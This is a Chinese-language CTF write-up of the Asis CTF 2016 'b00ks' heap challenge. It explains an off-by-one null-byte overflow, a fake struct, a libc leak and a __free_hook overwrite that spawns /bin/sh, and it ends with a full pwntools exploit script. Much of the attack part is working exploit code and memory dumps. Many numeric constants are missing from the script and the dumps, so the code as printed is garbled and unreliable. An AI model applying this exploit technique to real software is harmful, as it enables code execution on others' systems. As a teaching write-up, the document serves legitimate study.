Asis CTF 2016 b00ks
1. 序言
本篇文章是對
CTF WIKI
漏洞類型的補充.
Off-By-One
上面
CTF WIKI
這一章節中兩個例子均沒有給出相應的
Off-By-One
, 本次總結将其中一個例子詳細分析一下, 希望能夠對其他學習者有幫助
EXP
2. 程式簡介
該程式是一個圖書管理系統,可以添加書名,修改作者名以及寫備注等功能.
3. 程式運作
1. Welcome
輸入一個 name
2. Create a book
>
Enter book name size:
Enter book name (Max chars): Love
Enter book description size:
Enter book description: good
3. Delete
>
Enter the book id you want to delete:
4. Edit a book
>
Enter the book id you want to edit:
Enter new book description: very good
5. Print book detail
>
ID:
Name: Love
Description: very good
Author: Bill
6. Change current author name
> 5
Enter author name: Steven
7. Exit
6. Exit
> 6
4. 程式分析
1.
b00k
結構體
stuct book{
int id;
char *name;
char *description;
int size;
}
程式運作, 建立一個結構體數組,設為
b00ks
.
2.
b00ks
位置
0x55865b7c9040: 0x4141414141414141 0x4141414141414141
0x55865b7c9050: 0x4141414141414141 0x4141414141414141 --> author
b00ks<--0x55865b7c9060: 0x000055865cc0d160(first book) 0x0000000000000000
3.
Null byte overflow
修改
author
, 輸入
32
個字元,會出現空子節覆寫
first b00k
指針最後一個位元組
0x55865b7c9040: 0x4141414141414141 0x4141414141414141
0x55865b7c9050: 0x4141414141414141 0x4141414141414141
0x55865b7c9060: 0x000055865cc0d100(0x60-->0x00) 0x000055865cc0d190
5. 漏洞介紹
Off-By-One
顧名思義就是我們能夠多寫入一個位元組的内容.
舉一個簡單的例子:建造一條直栅欄(即不圍圈),長30米、每條栅欄柱間相隔3米,需要多少條栅欄柱?
最容易想到的答案是
10
, 但正确答案是
9
或
11
. 這種錯誤是C語言初學者常犯的錯誤, 經常在數組或循環出現.
6. 漏洞分析
漏洞點: 問題出在對
author
的處理上, 當我們輸入32個字元時, 程式會将第33個字元指派為
"\x00"
, 進而出現了
Null Byte Overflow
.

思路分析: 建立兩個
b00k
, 在
first b00k
中僞造
b00k
進而控制
second b00k
的
description
指針, 将該指針該為
__free_hook
, 修改
second b00k
的
description
為
execve("/bin/sh")
, 最後
free
7. 分步講解
1. 建立第一個
first b00k
0x55f276c74160: 0x0000000000000001 0x000055f276c74020--> Name
0x55f276c74170: 0x000055f276c740c0(description) 0x000000000000008c(140)
結論: 當
0x55f276c74160 --> 0x55f276c74100
時,
0x55f276c74100
正好落在
first b00k
的
description
中, 屬于可控範圍, 為我們僞造
b00k
打下了基礎.
2. 僞造
b00k
x55f276c740c0: x4141414141414141 x4141414141414141
x55f276c740d0: x4141414141414141 x4141414141414141
x55f276c740e0: x4141414141414141 x4141414141414141
x55f276c740f0: x4141414141414141 x4141414141414141
x55f276c74100: x0000000000000001 x000055f276c74198----
x55f276c74110: x000055f276c74198 x000000000000ffff |
...... |
x55f276c74160: x0000000000000001 x000055f276c74020 |
x55f276c74170: x000055f276c740c0 x000000000000008c |
x55f276c74180: x0000000000000000 x0000000000000031 |
x55f276c74190: x0000000000000002 x00007f282b8e7010 <-|
x55f276c741a0: x00007f282b8c5010 x0000000000021000
x55f276c741b0: x0000000000000000 x0000000000020e51
結論: 可以看到
0x55f276c74100
已經是
fake b00k
3. 空位元組覆寫
0x55f275d55040: 0x4141414141414141 0x4141414141414141
0x55f275d55050: 0x4141414141414141 0x4141414141414141
0x55f275d55060: 0x000055f276c74100 0x000055f276c74190
洩露的是
second b00k
的
name pointer
和
description pointer
.
這個指針和libc base address是有直接聯系的.
rw-p [heap]
r-xp /lib/x86_64-linux-gnu/libc-.so
---p /lib/x86_64-linux-gnu/libc-.so
offset = 0x7f282b8e7010 - 0x00007f282b33e000 = 0x5a9010
結論: 通過僞造的
b00k
, 我們洩露了
libc base address
.
4.擷取相關指針
主要是兩個
malloc_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase + x4526a
結論: 通過
libc base address
, 退出了
__free_hook
和
execve_addr
在程式中的實際位置.
5.修改
通過
first b00k
修改
second b00k
的
description
指針為
__free_hook
, 在修改second b00k的description内容為
execve("/bin/sh", null, environ)
, 最後執行
free
x55f276c74190: x0000000000000002 x00007f282b7047a8 --
x55f276c741a0: x00007f282b7047a8 x0000000000021000 |
...... |
x7f282b7047a8 <__free_hook>: x00007f306ff4726a x0000000000000000
結論: 由于
__free_hook
裡面的内容不為
NULL
, 遂執行内容指向的指令, 即
execve("/bin/sh", null, environ)
相關問題解答
為什麼第二個
b00k
申請的空間那麼大?
If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
簡單的說, 申請小了不能夠洩露出
libc base address
完整EXP
from pwn import *
context.log_level = 'debug'
p = process("./b00ks")
libc = ELF("./libc.so.6")
gdb.attach(p)
def memleak1(p):
p.sendline("4")
log.info(p.recvuntil("Author:"))
msg = p.recvline()
log.info(p.recvuntil(">"))
msg = msg.split("A"*)[].strip("\n")
addr = u64(msg.ljust(, "\x00"))
log.success("Leaked address of struct object : " + hex(addr))
return addr
def memleak2(p):
p.sendline("4")
p.recvuntil("Name: ")
msg=p.recvline().strip("\n")
msg=u64(msg.ljust(, "\x00"))
log.info(p.recv(timeout = ))
log.success("Leaked address of allocated area " + hex(msg))
return msg
def change_ptr(p):
log.progress("Changing the struct pointer")
p.sendline("5")
log.info(p.recvuntil(":"))
p.sendline("A"*)
log.info(p.recvuntil(">"))
def fake_obj(p, payload, index):
log.progress("Editing description")
p.sendline("3")
log.info(p.recvuntil(":"))
p.sendline(str(index))
log.info(p.recvuntil(":"))
p.sendline(payload)
def create_book(p,size):
p.sendline("1")
log.info(p.recvuntil(":"))
p.sendline(str(size))
log.info(p.recvuntil(":"))
p.sendline("asdf")
log.info(p.recvuntil(":"))
p.sendline(str(size))
log.info(p.recvuntil(":"))
p.sendline("asdf")
log.info(p.recvuntil(">"))
def release():
p.sendline("2")
log.info(p.recvuntil(":"))
p.sendline("2")
log.info(p.recvuntil(":"))
p.sendline("A"*)
log.info(p.recvuntil(">"))
create_book(p, )
addr = memleak1(p) + #address of second object on heap
create_book(p, ) #allocate new area
payload = "A"* + p64() + p64(addr) * + p64() #fake obj
fake_obj(p, payload, )
change_ptr(p) #null overflow
addr = memleak2(p)
log.info(hex(addr))
#part two
libcbase = addr -
malloc_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase +
#part three
payload = p64(malloc_hook) *
fake_obj(p, payload, )
payload = p64(execve_addr)
fake_obj(p, payload, )
release()
p.interactive()
參考連結
幾乎唯一的WP
CTF WIKI